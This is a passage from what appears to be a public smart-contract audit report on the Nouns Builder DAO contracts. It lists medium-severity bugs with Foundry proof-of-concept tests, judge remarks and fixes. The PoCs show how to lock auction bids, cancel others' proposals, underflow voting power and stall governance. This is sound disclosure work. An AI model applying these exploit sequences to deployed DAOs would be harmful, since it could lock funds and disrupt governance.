vm.prank(voter1);
governor.castVote(proposalId, 1);
vm.warp(block.timestamp + governor.votingPeriod());
// quorum votes corresponding to the proposal is 0
Proposal memory proposal = governor.getProposal(proposalId);
assertEq(proposal.quorumVotes, 0);
// the proposal is succeeded
assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Succeeded));
// voter1 is able to queue the proposal
vm.prank(voter1);
governor.queue(proposalId);
assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Queued));
}
Tools Used
VSCode
Recommended Mitigation Steps
A minimum quorum votes governance configuration that is at least 1 can be added. When quorum()
returns 0 because the token supply is low, calling propose
could set proposal.quorumVotes
to the minimum quorum votes.
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
Because rounding is determined by a mixture of
totalSupply
andquorumThresholdBps
I believe the finding cannot be of high severity.It is important to note that because totalSupply can be zero, especially if founders take no founder mint, the Governor contract may be griefed, for example by giving away allowances to setup for a future rug-pull.
Because the finding can cause a loss, and the code doesn’t have specific ways to avoid that (e.g. minimum totalSupply) i believe Medium Severity to be appropriate
tbtstl (Nouns Builder) acknowledged and commented:
I think we’re going to have to ACK this and move on – there’s no clear minimum token requirement we can set at the beginning of a DAO lifecycle that couldn’t be circumvented by the malicious user buying the first n tokens.
Situations like this will have to be handled by the DAOs vetoer until a quorum is deemed high enough.
[M-02] Highest bid in first auction can get irretrievably stuck in the protocol
Submitted by PwnPatrol, also found by davidbrai, MiloTruck, and pauliax
If the first auction is paused and unpaused in a protocol deployed with no founder fees, the highest bid (as well as the first NFT), will get stuck in the protocol with no ability to retrieve either of them.
Proof of Concept
In a protocol with founder ownership percentage set to 0, the first tokenId put to auction is #0.
If the first auction in such a protocol is paused and unpaused, the check for if (auction.tokenId == 0)
will pass and _createAuction()
will automatically be called, minting the next token and starting a new auction based on token #1.
The result is that highestBid
and highestBidder
are reset, the first auction is never settled, and the highest bid (as well as NFT #0) will remain stuck in the platform.
The following test confirms this finding:
function test_PauseAndUnpauseInFirstAuction() public {
address bidder1 = vm.addr(0xB1);
address bidder2 = vm.addr(0xB2);
vm.deal(bidder1, 100 ether);
vm.deal(bidder2, 100 ether);
console.log("Deploying with no founder pct...");
deployMockWithEmptyFounders();
console.log("Unpausing...");
vm.prank(founder);
auction.unpause();
console.log("Bidder makes initial bid.");
vm.prank(bidder1);
auction.createBid{ value: 1 ether }(0);
(uint256 tokenId_, uint256 highestBid_, address highestBidder_,,,) = auction.auction();
console.log("Currently bidding for ID ", tokenId_);
console.log("Highest Bid: ", highestBid_, ". Bidder: ", highestBidder_);
console.log("Contract Balance: ", address(auction).balance);
console.log("--------");
console.log("Pausing and unpausing auction house...");
vm.startPrank(address(treasury));
auction.pause();
auction.unpause();
vm.stopPrank();
console.log("Bidder makes new bid.");
vm.prank(bidder2);
auction.createBid{ value: 0.5 ether }(1);
(uint256 tokenId2_, uint256 highestBid2_, address highestBidder2_,,,) = auction.auction();
console.log("Currently bidding for ID ", tokenId2_);
console.log("Highest Bid: ", highestBid2_, ". Bidder: ", highestBidder2_);
console.log("Contract Balance: ", address(auction).balance);
Tools Used
Manual Review, Foundry
Recommended Mitigation Steps
Remove the block in unpause()
that transfers ownership and creates an auction if auction.tokenId == 0
and trigger those actions manually in the deployment flow.
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
The warden has shown how, due to a specific set of circumstances, which can happen exclusively during the first auction:
- If the first auction has a paying user
- The id is 0 (not minted to owner)
- And it get’s paused
Then on restart the highestBidder will lose their ETH as well as not receive the NFT.
A more appropriate behaviour would be to force settle if a bid was there, or to handle token0 like any other.
Because of the conditionality of the finding, Medium Severity is appropriate.
Minting the first token to a founder or settling before unpausing will avoid this.
iainnash (Nouns Builder) confirmed
[M-03] Token:mint
: infinite loop if the founders’ shares sum up to 100
Submitted by zzzitron, also found by 0xSmartContract, ChristianKuri, davidbrai, elad, ElKu, hansfriese, immeas, ladboy233, Lambda, MiloTruck, scaraven, tonisives, and volky
The Token as well as Auction cannot be used if the sum of ownershipPct
is 100
Proof of Concept
function test_poc_mintforever() public {
createUsers(2, 1 ether);
address[] memory wallets = new address[](2);
uint256[] memory percents = new uint256[](2);
uint256[] memory vestExpirys = new uint256[](2);
uint256 pct = 50;
uint256 end = 4 weeks;
unchecked {
for (uint256 i; i < 2; ++i) {
wallets[i] = otherUsers[i];
percents[i] = pct;
vestExpirys[i] = end;
}
}
deployWithCustomFounders(wallets, percents, vestExpirys);
assertEq(token.totalFounders(), 2);
assertEq(token.totalFounderOwnership(), 100);
Founder memory founder;
unchecked {
for (uint256 i; i < 100; ++i) {
founder = token.getScheduledRecipient(i);
if (i % 2 == 0) assertEq(founder.wallet, otherUsers[0]);
else assertEq(founder.wallet, otherUsers[1]);
}
}
// // commented out as it will not stop
// vm.prank(otherUsers[0]);
// auction.unpause();
}
In the proof of concept, there are two founders and they both share 50% of ownership. If the Auction
should be unpause
d, and therefore triggers to mint tokens, it will go into the infinite loop and eventually revert for out of gas.
// Token.sol
143 function mint() external nonReentrant returns (uint256 tokenId) {
144 // Cache the auction address
145 address minter = settings.auction;
146
147 // Ensure the caller is the auction
148 if (msg.sender != minter) revert ONLY_AUCTION();
149
150 // Cannot realistically overflow
151 unchecked {
152 do {
153 // Get the next token to mint
154 tokenId = settings.totalSupply++;
155
156 // Lookup whether the token is for a founder, and mint accordingly if so
157 } while (_isForFounder(tokenId));
158 }
159
160 // Mint the next available token to the auction house for bidding
161 _mint(minter, tokenId);
162 }
177 function _isForFounder(uint256 _tokenId) private returns (bool) {
178 // Get the base token id
179 uint256 baseTokenId = _tokenId % 100;
180
181 // If there is no scheduled recipient:
182 if (tokenRecipient[baseTokenId].wallet == address(0)) {
183 return false;
184
185 // Else if the founder is still vesting:
186 } else if (block.timestamp < tokenRecipient[baseTokenId].vestExpiry) {
187 // Mint the token to the founder
188 _mint(tokenRecipient[baseTokenId].wallet, _tokenId);
189
190 return true;
191
192 // Else the founder has finished vesting:
193 } else {
194 // Remove them from future lookups
195 delete tokenRecipient[baseTokenId];
196
197 return false;
198 }
199 }
In the Token::mint
, there is a while loop which will keep looping as long as _isForFounder
returns true. The _isForFounder
function will return true is the given _tokenId
’s recipient is still vesting. However, to check the recipient it is checking the baseTokenId
which is _tokenId % 100
(in line 179 above snippet). Which means, if the tokenRecipient
of 0 to 99 are currently vesting, it will keep returning true and the while loop in the mint
function will not stop. The tokenRecipient
was set in the _addFounders
and if the sum of all founders’ ownership percent is 100, the tokenRecipient
will be filled up to 100.
Recommended Mitigation Steps
Use _tokenId
instead of baseTokenId
.
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
While a different typo may have allow to support more than 100 founders and shares setup, the following check: Token.sol#L179-L180
uint256 baseTokenId = _tokenId % 100;
Will cause each id to be check against the first 100, meaning that if the owners own 100% of all first 100 ids (e.g. the
schedule
value is 1, the code will loop forever in this while loop as no new ID is availableBecause this is contingent on setting admin ownership to 100%, I think Medium Severity to be more appropriate. I wonder if 100% ownership for founders is rational in any case, as no auction would ever happen, however the configuration is allowed and it will brick the contracts.
iainnash (Nouns Builder) confirmed
[M-04] Founders can receive less tokens that expected
Submitted by MEP, also found by __141345__, 0xSky, antonttc, azephiar, cccz, CertoraInc, d3e4, datapunk, davidbrai, easy_peasy, hansfriese, hansfriese, MiloTruck, minhtrng, neumo, pcarranzav, peritoflores, PwnPatrol, R2, scaraven, teawaterwire, Tointer, tonisives, unforgiven, V_B, wagmi, zkhorse, and zzzitron
Because the IDs of the founders tokens are wrongly computed, some of them can have an id higher than 100 and then never be minted.
Proof of Concept
If a founder has percentage of pct
, then pct
IDs between 0 and 99 should be given to him in the mapping tokenRecipient
, such that if a token is minted with tokenId % 100
equal to one of its IDs, it is minted directly to him. But the modulo is not correctly done at when the mapping is filled, so some IDs of a founder can be higher than 100.
It happens for example if Alice has 10% and Bob gas 11%. For Alice, schedule
is equal to 10, so Alices will have the ids 0, 10, 20, …, 90. But for Bob, schedule
is also equal to 9. So it will have the ids 1, 11, 21, …, 91, 100. Indeed, Bob can’t have the ID 0 because it belongs to Alice, same for the ID 10 etc. The last eleventh ID that is given to Bob is 100, that can’t be reached.
This happens for example when with two founders the percentages verify (100 / pct1) - (100 / pct2) == 1
. So (11%, 12%) or (25%, 33%) will behave samely (with more token lost in some case).
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import { TokenTest } from "./Token.t.sol";
contract TestMEP_M1 is TokenTest {
function setUpMEP() internal returns (address alice, address bob, uint256 totalOwnership) {
address[] memory wallets = new address[](2);
uint256[] memory percents = new uint256[](2);
uint256[] memory vestExpiries = new uint256[](2);
wallets[0] = alice = address(0x0a);
wallets[1] = bob = address(0x0b);
percents[0] = 10;
percents[1] = 11;
totalOwnership = percents[0] + percents[1];
vestExpiries[0] = type(uint256).max;
vestExpiries[1] = type(uint256).max;
deployWithCustomFounders(wallets, percents, vestExpiries);
}
// Verifies it on the 100 first tokens
function testMEP_M1_1() public {
(address alice, address bob, uint256 totalOwnership) = setUpMEP();
// Should mint the 100 first tokens
// Alice should receive 10 tokens
// Bob should receive 11 tokens
for (uint256 i; i < 100 - totalOwnership; ++i) {
vm.prank(address(auction));
token.mint();
}
assertEq(token.balanceOf(alice), 10, "Alice's balance is wrong");
assertEq(token.balanceOf(bob), 11, "Bob's balance is wrong");
}
// Verifies it with the law of large numbers
function testMEP_M1_2() public {
(address alice, address bob, ) = setUpMEP();
uint256 tokensToMint = 123456; // enough large to apply the law of large numbers
for (uint256 i; i < tokensToMint; ++i) {
vm.prank(address(auction));
token.mint();
}
uint256 totalSupply = token.totalSupply();
assertEq(token.balanceOf(alice) * 100 / totalSupply, 10, "Alice's percentage is wrong");
assertEq(token.balanceOf(bob) * 100 / totalSupply, 11, "Bob's percentage is wrong");
}
}
Recommended Mitigation Steps
Replace the line 118 of Token.sol
by baseTokenId = (baseTokenId + schedule) % 100;
.
Alex the Entreprenerd (judge) commented:
The warden has shown how, due to a logical mistake / typo, founders will receive a lower allocation than expected.
This is contingent on certain allocations being set and will cause a “loss of yield” to the founders estimated to the lost allocation.
I believe the finding could be raised to High Severity due to the graveness of it, however, because it is contingent on specific inputs, I think Medium Severity to be appropriate
tbtstl (Nouns Builder) disagreed with severity and commented:
I actually think this one should be high severity – it’s important that these token ownership percentages end up consistent on a long enough time scale.
Alex the Entreprenerd (judge) commented:
I appreciate the generosity of the sponsor, ultimately the bug can happen only if
(baseTokenId + schedule)
is greater than 100, which, because the schedule is X / 100, will not always happen, and the loss will not be total but only for the specific tokens for which the modulo is necessary.For those reasons (conditionality of bug due to admin input), I think Medium Severity to be more appropriate.
I do recommend mitigation nonetheless.
[M-05] A proposal can be cancelled by anyone if the proposal has exactly proposalThreshold votes
Submitted by davidbrai, also found by cccz, Ch_301, Chom, datapunk, elad, GimelSec, pauliax, PwnPatrol, and rbserver
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L128
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L363
If the proposer of a proposal has votes in the same amount as the proposalThreshold, they can create a proposal. But in this case, anyone can also cancel this proposal.
When creating a proposal the requirement is “Ensure the caller’s voting weight is greater than or equal to the threshold”.
When cancelling a proposal the check is:
if getVotes(proposal.proposer, block.timestamp - 1) > proposal.proposalThreshold
then it the cancelling is not allowed. In effect, if the number of votes is lower than or equal to the proposalThreshold it can be cancelled.
In the extreme case where all the DAO members have no more than the proposalThreshold amount of votes, every proposal can be cancelled.
Proof of Concept
The forge test below demonstrates the issue:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import "forge-std/console.sol";
import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";
import { IManager } from "../../src/manager/IManager.sol";
import { IGovernor } from "../../src/governance/governor/IGovernor.sol";
import { GovernorTypesV1 } from "../../src/governance/governor/types/GovernorTypesV1.sol";
contract GovCancelWrongCheckTest is NounsBuilderTest, GovernorTypesV1 {
uint256 internal constant AGAINST = 0;
uint256 internal constant FOR = 1;
uint256 internal constant ABSTAIN = 2;
uint256 proposalThresholdBps = 100;
address internal voter1 = address(0x1234);
address internal randomUser = address(0x8888);
function setUp() public virtual override {
super.setUp();
deployMock();
}
function testCanCancelProposalIfExactThreshold() public {
// mint a few tokens
for (uint256 i; i < 85; i++) {
vm.prank(address(auction));
token.mint();
}
assertEq(token.totalSupply(), 100);
// transfer one token to voter1
vm.prank(address(auction));
token.transferFrom(address(auction), voter1, 5);
assertEq(token.balanceOf(voter1), 1);
// make sure voter has enough votes
assertEq(governor.proposalThreshold(), 1);
assertEq(token.getVotes(voter1), 1);
vm.warp(block.timestamp + 1);
// propose
(address[] memory targets, uint256[] memory values, bytes[] memory calldatas) = mockProposal();
vm.prank(voter1);
bytes32 proposalId = governor.propose(targets, values, calldatas, "test");
// Proposal created successfully
assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Pending));
// Cancel proposal
vm.prank(randomUser);
governor.cancel(proposalId);
assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Canceled));
}
function setMockGovParams() internal virtual override {
setGovParams(2 days, 1 seconds, 1 weeks, proposalThresholdBps, 1000);
}
function mockProposal()
internal
view
returns (
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas
)
{
targets = new address[](1);
values = new uint256[](1);
calldatas = new bytes[](1);
targets[0] = address(auction);
calldatas[0] = abi.encodeWithSignature("pause()");
}
}
Recommended Mitigation Steps
Change the check in cancel
to match the requirement in propose
;
change line 363 in Governor.sol to:
if (msg.sender != proposal.proposer && getVotes(proposal.proposer, block.timestamp - 1) >= proposal.proposalThreshold)
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
Because we know that a cancelled proposal cannot be repeated, and because the protocol is aiming at auctioning out NFTs that are unitary, rare, “small print” if you will, then 1 vote may be considered more heavily than in other situations. (e.g. 1 second is still just 1 second, but 1 token here could be 10s if not hundreds of thousands of dollars)
Not only that, due to the following check, the proposer must maintain the current balance above the threshold (instead of it being the balance at time of proposal).
For those reasons, I think this is a medium severity finding.
kulkarohan (Nouns Builder) confirmed, but disagreed with severity
[M-06] Proposals can be bricked and Auctions stalled by bad settings
Submitted by chatch, also found by 0x4non, ak1, ayeslick, Chom, fatherOfBlocks, hyh, R2, rvierdiiev, scaraven, simon135, and zzzitron
The protocol assumes founders and proposals will set sane settings. However there are some settings that if set incorrectly will block proposals from being created or succeeding and block auctions from completing.
This vulnerability has a low likelihood of occurrence as the outcome is not in the interest of the community. However the possibility exists if there is some misunderstanding or miscalculation. If a bad setting is allowed the impact is high.
Proof of Concept
Bricking governance proposals
Governor settings.quorumThresholdBps > 10_000
If quorumThresholdBps
is set above 10_000 then it would be impossible to get enough votes to succeed.
Without being able to execute a proposal the setting itself could never be fixed.
Governor settings.proposalThresholdBps > 10_000
If proposalThresholdBps
is set above 10_000 then it would be impossible to submit a proposal.
Without being able to submit a proposal the setting itself could never be fixed.
Stalling a governance proposal
Treasury settings.delay
A very large value for delay
would prevent a proposal from being executed.
For example 1000 years easily fits into delay
and would result in a 1000 year wait before being able to execute.
A governance proposal could fix this property for future proposals but any proposal created with the large delay
would remain stuck.
Stalling the auction
Auction settings.duration
The duration
value is in seconds and any value up to type(uint40).max is permitted.
That is 1099511627775
seconds which is > 48000 years.
A large value like this would stop the auction from ever ending and thus stop new NFTs from being minted.
A governance proposal could fix this setting but ideally a very large duration
would be blocked.
Auction settings.timeBuffer
Similar to duration but applies to the auction endTime extention.
So the auction could be extended a number of years for example.
Recommended Mitigation Steps
Implement reasonable range bounds reverting where appropriate. In particular for the above apply:
- Governor settings
quorumThresholdBps
<= 10_000 - Governor settings
proposalThresholdBps
<= 10_000 - Treasury settings
delay
<= 6 months - Auction settings
duration
<= 6 months - Auction settings
timeBuffer
<= 6 months
Add these checks to the initialize()
functions and in the setter / update functions where these individual settings properties can be updated.
Alex the Entreprenerd (judge) commented:
Lack of validation looks right, not convinced about severity if behind timelock.
Alex the Entreprenerd (judge) commented:
The warden has shown how, due to a lack of rational minimums and maximums, governance can be griefed if not effectively bricked.
Because this is contingent on allowing “irrational” values, I agree with Medium Severity.
Mitigation would require adding acceptable minimums and maximums, or forcing the deployer to set those in a rational way that is transparent to end users.
iainnash (Nouns Builder) confirmed
[M-07] NFT owner can block token burning and transfer by delegating to zero address
Submitted by hyh
ERC721Votes’s delegate() and delegateBySig() allow the delegation to zero address, which result in owner’s votes elimination in the checkpoint. I.e. the votes are subtracted from the owner, but aren’t added anywhere. _moveDelegateVotes() invoked by _delegate() treats the corresponding call as a burning, erasing the votes.
The impact is that the further transfer and burning attempts for the ids of the owner will be reverted because _afterTokenTransfer() callback will try to reduce owner’s votes, which are already zero, reverting the calls due to subtraction fail.
As ERC721Votes is parent to Token the overall impact is governance token burning and transfer being disabled whenever the owner delegated to zero address. This can be done deliberately, i.e. any owner can disable burning and transfer of the owned ids at any moment, which can interfere with governance voting process.
Proof of Concept
User facing delegate() and delegateBySig() allow for zero address delegation:
/// @notice Delegates votes to an account
/// @param _to The address delegating votes to
function delegate(address _to) external {
_delegate(msg.sender, _to);
}
function delegateBySig(
address _from,
address _to,
uint256 _deadline,
uint8 _v,
bytes32 _r,
bytes32 _s
) external {
// Ensure the signature has not expired
if (block.timestamp > _deadline) revert EXPIRED_SIGNATURE();
// Used to store the digest
bytes32 digest;
// Cannot realistically overflow
unchecked {
// Compute the hash of the domain seperator with the typed delegation data
digest = keccak256(
abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR(), keccak256(abi.encode(DELEGATION_TYPEHASH, _from, _to, nonces[_from]++, _deadline)))
);
}
// Recover the message signer
address recoveredAddress = ecrecover(digest, _v, _r, _s);
// Ensure the recovered signer is the voter
if (recoveredAddress == address(0) || recoveredAddress != _from) revert INVALID_SIGNATURE();
// Update the delegate
_delegate(_from, _to);
}
And pass zero address to the _delegate() where it is being set:
function _delegate(address _from, address _to) internal {
// Get the previous delegate
address prevDelegate = delegation[_from];
// Store the new delegate
delegation[_from] = _to;
emit DelegateChanged(_from, prevDelegate, _to);
// Transfer voting weight from the previous delegate to the new delegate
_moveDelegateVotes(prevDelegate, _to, balanceOf(_from));
}
In this case _moveDelegateVotes() will reduce the votes from the owner, not adding it to anywhere as _from
is the owner, while _to
is zero address:
if (_from != _to && _amount > 0) {
// If this isn't a token mint:
if (_from != address(0)) {
// Get the sender's number of checkpoints
uint256 nCheckpoints = numCheckpoints[_from]++;
// Used to store the sender's previous voting weight
uint256 prevTotalVotes;
// If this isn't the sender's first checkpoint: Get their previous voting weight
if (nCheckpoints != 0) prevTotalVotes = checkpoints[_from][nCheckpoints - 1].votes;
// Update their voting weight
_writeCheckpoint(_from, nCheckpoints, prevTotalVotes, prevTotalVotes - _amount);
}
// If this isn't a token burn:
if (_to != address(0)) { // @ audit here we add the votes to the target, but only if it's not zero address
The owner might know that and can use such a delegation to interfere with the system by prohibiting of transferring/burning of his ids.
This happens via _afterTokenTransfer() reverting as it’s becomes impossible to reduce owner’s votes balance by 1
:
function _afterTokenTransfer(
address _from,
address _to,
uint256 _tokenId
) internal override {
// Transfer 1 vote from the sender to the recipient
_moveDelegateVotes(_from, _to, 1);
super._afterTokenTransfer(_from, _to, _tokenId);
}
Recommended Mitigation Steps
Consider prohibiting zero address as a delegation destination:
function _delegate(address _from, address _to) internal {
+ if (_to == address(0)) revert INVALID_SIGNATURE();
// Get the previous delegate
address prevDelegate = delegation[_from];
// Store the new delegate
delegation[_from] = _to;
emit DelegateChanged(_from, prevDelegate, _to);
// Transfer voting weight from the previous delegate to the new delegate
_moveDelegateVotes(prevDelegate, _to, balanceOf(_from));
}
When _to
isn’t zero there always be an addition in _moveDelegateVotes(), so the system votes balance will be sustained.
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
From
Auction
we know that token Burning will happen only on failure to complete the auction.While a new mechanism for burning could be added, it would require changing the code via an upgrade (conditional).
The Warden has proven how underflow will cause the inability to transfer the token permanently and irreversibly.
Delegating to 0, will cause Delegation to no longer be available (see other reports), however this finding also shows how Delegating to Address(0) causes the token to no longer being transferable.
I think the submission is well developed, however it requires the owner to delegate to the address(0).
For that reason, I think the finding is of Medium Severity.
Because this is the only report that shows loss of Token, am not going to bulk with the others which instead show how Voting Power is lost irreversibly.
iainnash (Nouns Builder) confirmed and commented:
Logical duplicate of #478 but agree with @Alex the Entreprenerd about the reference being to lost token(s) being valid.
[M-08] Delegation should not be allowed to address(0)
Submitted by davidbrai, also found by bin2chen, Ch_301, Chom, cryptphi, pashov, and PwnPatrol
Assuming an existing bug in the _delegate
function is fixed (see my previous issue submission titled ”Delegating votes leaves the token owner with votes while giving the delegate additional votes”):
if a user delegates to address(0) that vote gets lost.
Proof of Concept
Assuming the _delegate
function gets patched by changing:
address prevDelegate = delegation[_from];
to
address prevDelegate = delegates(_from);
The steps to be taken:
- User (U) gets one NFT (e.g by winning the auction) a. votes(U) = 1
- U delegates to address(0) // prevDelegate is U, so votes(U)— a. votes(U) = 0, votes(address(0)) = 0
- U delegates to address(0) // prevDelegate is U, so votes(U)— a. votes(U) = 2^192 - 1
Below is a forge test showing the issue:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";
import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol";
contract TokenTest is NounsBuilderTest, TokenTypesV1 {
address user1 = address(0x1001);
address delegate1 = address(0x2001);
address delegate2 = address(0x2002);
function setUp() public virtual override {
super.setUp();
vm.label(user1, "user1");
vm.label(delegate1, "delegate1");
deployMock();
}
function setMockFounderParams() internal virtual override {
address[] memory wallets = new address[](1);
uint256[] memory percents = new uint256[](1);
uint256[] memory vestingEnds = new uint256[](1);
wallets[0] = founder;
percents[0] = 0;
vestingEnds[0] = 4 weeks;
setFounderParams(wallets, percents, vestingEnds);
}
function test_pown2() public {
// user1 gets one token
vm.startPrank(address(auction));
token.mint();
token.transferFrom(address(auction), user1, 0);
vm.stopPrank();
// user1 has 1 token & 1 vote
assertEq(token.balanceOf(user1), 1);
assertEq(token.getVotes(user1), 1);
vm.prank(user1);
token.delegate(address(0));
assertEq(token.getVotes(user1), 0);
vm.prank(user1);
token.delegate(address(0));
assertEq(token.getVotes(user1), type(uint192).max);
}
}
Recommended Mitigation Steps
Either:
- Don’t allow delegation to address(0) by adding a check
or - If someone tries to delegate to address(0), delegate to the NFT owner instead
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
The Warden has shown how, due to incorrect accounting, the delegation of voting power to the address(0) will permanently burn that voting power.
Because this is contingent on the owner performing the delegation, I believe Medium Severity to be more appropriate.
tbtstl (Nouns Builder) confirmed
[M-09] Index out of bounds error when properties length is more than attributes length breaks minting
Submitted by dipp, also found by 0x1f8b, 0x52, 0xc0ffEE, 0xSky, bin2chen, datapunk, eierina, elad, hansfriese, hyh, izhuer, Jeiwan, Migue, R2, and scaraven
MetadataRenderer.sol#L188-L198
When a token is minted, the MetadataRenderer.sol
onMinted
function is called which will set the particular token’s attributes to a random item from one of the properties. A token has a maximum of 16 attributes, the first one being the total number of properties. The properties from which the token receives its attributes are supplied by the owner of the MetadataRenderer.sol
contract by calling addProperties
. The issue is that the number of properties the owner can supply is not limited. If the number of properties is more than 15 then the onMinted
function will revert due to the limit on the number of attributes a token may have.
Impact
Since onMinted
is always called when tokens are minted, the DAO will not be able to mint new tokens. There does not seem to be a way to remove properties so this would be unrecoverable.
Proof of Concept
Test code added to Token.t.sol
:
function test_MetadataProperties() public {
createUsers(2, 1 ether);
address[] memory wallets = new address[](2);
uint256[] memory percents = new uint256[](2);
uint256[] memory vestExpirys = new uint256[](2);
uint256 pct = 50;
uint256 end = 4 weeks;
unchecked {
for (uint256 i; i < 2; ++i) {
wallets[i] = otherUsers[i];
percents[i] = pct;
vestExpirys[i] = end;
}
}
deployWithCustomFounders(wallets, percents, vestExpirys);
// Check deployed correctly
assertEq(token.totalFounders(), 2);
assertEq(token.totalFounderOwnership(), 100);
// Create 16 properties and items
string[] memory names = new string[](16);
MetadataRendererTypesV1.ItemParam[] memory items = new MetadataRendererTypesV1.ItemParam[](16);
for (uint256 j; j < 16; j++) {
names[j] = "aaa"; // Add random properties
items[j].name = "aaa"; // Add random items
items[j].propertyId = uint16(j); // Make sure all properties have items
items[j].isNewProperty = true;
}
MetadataRendererTypesV1.IPFSGroup memory group = MetadataRendererTypesV1.IPFSGroup(
"aaa",
"aaa"
); // Add random IPFS group
// Add 16 properties
vm.prank(otherUsers[0]);
metadataRenderer.addProperties(names, items, group);
// Attempt to mint
vm.prank(address(auction));
vm.expectRevert(stdError.indexOOBError);
token.mint();
}
The test code above shows that the owner of MetadataRenderer.sol
is able to add 16 properties with 1 items each. The auction
contract is then unable to mint due to an “Index out of bounds” error.
Code from the onMinted
function in MetadataRenderer.sol
:
// For each property:
for (uint256 i = 0; i < numProperties; ++i) {
// Get the number of items to choose from
uint256 numItems = properties[i].items.length;
// Use the token's seed to select an item
tokenAttributes[i + 1] = uint16(seed % numItems);
// Adjust the randomness
seed >>= 16;
}
The code above shows that when a token is minted and onMinted
is called it will attempt to assign more than 16 attributes to the token which is not possible due to the tokenAttributes
being limited to 16.
Recommended Mitigation Steps
The maximum amount of properties an owner can add should be less than the maximum amount of attributes any token can have. Consider either limiting the properties
variable in MetadataRenderer.sol
to 15 or allow any number of attributes to be added to a token.
Alex the Entreprenerd (judge) commented:
I love that you added a coded POC.
The Warden has shown how, due to a coding inconsistency, adding more than 15 properties will cause an Out-Of-Bounds error.
Because this is contingent on admin configuration, I believe Medium Severity to be appropriate.
Most direct solution is to explicitly limit the number of properties, otherwise the system could be rewritten to handle an unknown number of properties.
iainnash (Nouns Builder) confirmed
[M-10] The quorum votes calculations don’t take into account burned tokens
Submitted by azephiar, also found by __141345__, 0x52, 0xSmartContract, bin2chen, Ch_301, indijanc, and Tointer
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L475
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L524
Because the following happens:
- Burned tokens votes are effectively deleted in
token._moveDelegateVotes()
when called bytoken.burn()
- When an auction gets settled without bidders the function burns the token by calling
token.burn()
- When
_createAuction()
is called an amount of tokens >= 1 is minted, of which 1 is kept in the auction contract - The functions
governor.proposalThreshold()
andgovernor.quorum()
both depend ontoken.totalSupply()
for their calculations.
We can derive that the protocol calculates the quorumVotes
taking into account burned tokens and tokens held in the auction contract, which don’t have any actual voting power. In other words the actual quorumThresholdBps
is equal or higher than the setted quorumThresholdBps
.
Impact
The worse case scenario that can happen is that the quorum gets so high that a proposal cannot pass even if everybody voted and everybody voted for
, potentially locking funds into the contract.
We can define:
assumedVotingPower
=token.totalSupply()
realVotingPower
=token.totalSupply() - amountOfTokensBurned
ΔVotingPower
=amountOfTokensBurned
This is the case if:
realVotingPower at proposal.voteEnd < quorum at proposal.timeCreated
which is the same as
realVotingPower < (assumedVotingPower * settings.quorumThresholdBps) / 10_000
and rearranging in terms of settings.quorumThresholdBps
we have:
settings.quorumThresholdBps > 10_000 * realVotingPower/assumedVotingPower
Knowing that:
- The possible range of values for
10_000 * realVotingPower/assumedVotingPower
is from1
to10000
. IfrealVotingPower = 0
this model doesn’t make sense in the first place. - The possible range of values of
settings.quorumThresholdBps
is from1
to2^16 - 1
. The protocol allows forsettings.quorumThresholdBps
to be0
, in which case it means that the actual quorum is0
; a context in which this model doesn’t make sense. There’s another catch that restricts this boundaries, ifsettings.quorumThresholdBps * token.totalSupply()
<10_000
the output ofgovernance.quorum()
would be0
.
Many combinations of values in the ranges described above render this disequation true, note, however, that this describes the workings in a mathematical settings and it doesnt hold true for every case in a real setting because of roundings and approximations.
We can intuitevely notice that when realVotingPower/assumedVotingPower
is very low, which is the case of a DAO with few tokens burned, the chances of the disequation being true are slim and when it’s high the chances of the disequation being true become higher. The opposite is true for settings.quorumThresholdBps
.
This might lock funds in DAOs with a lot of unsold auctions who have a low settings.quorumThresholdBps
.
At early stages this is mitigated by the fact that for every possible token burned some tokens are minted to the founders, but when the vest expires this mitigation is not in place anymore.
Proof of Concept
I wrote a test that’s expected to revert a proposal.queue()
even if all possible votes available are cast in favor.
The test comes with two parameters to set: auctionsToRun
and tokensToBidder
. The test runs auctionsToRun
auctions, of which the first tokensToBidder
are bidded upon and the rest are not. Then:
- Creates a proposal
- Cast all possible votes in favor
- Tries to queue a proposal
- Reverts
The default parameters are set to auctionsToRun = 130
and tokensToBidder = 10
. Also quorumThresholdBps = 1000
. This test results in 121 tokens burned
and 133 token minted
. It’s quite an unrealistic scenario, but it can get more real if quorumThresholdBps
is setted lower. Keep in mind that this is the case in which everybody shows up to vote and averybody votes for.
Test code
The test can be pasted inside Gov.t.sol
and then run with:
test -m test_RevertQueueProposalWithEverybodyInFavour
function test_RevertQueueProposalWithEverybodyInFavour() public {
//Number of auctions to run
uint256 auctionsToRun = 130;
//Amount of tokens to bid up
uint256 tokensToBidder = 10;
address bidder1 = vm.addr(0xB1);
vm.deal(founder, 10000 ether);
vm.deal(bidder1, 10000 ether);
//Start the first auction
vm.prank(founder);
auction.unpause();
//Simulates an `auctionsToRun` amount of auctions in which the first `tokensForBidder` tokens
//are minted and then every auction ends with no bidders.
uint256 amountOfBurnedTokens;
for (uint256 i = 1; i < auctionsToRun + 1; ++i) {
if (i < tokensToBidder) {
uint256 id = token.totalSupply() - 1;
vm.prank(bidder1);
auction.createBid{ value: 0.15 ether }(id);
} else {
amountOfBurnedTokens++;
}
vm.warp(block.timestamp + auction.duration() + 1);
auction.settleCurrentAndCreateNewAuction();
}
uint256 founderVotes = token.getVotes(founder);
uint256 founder2Votes = token.getVotes(founder2);
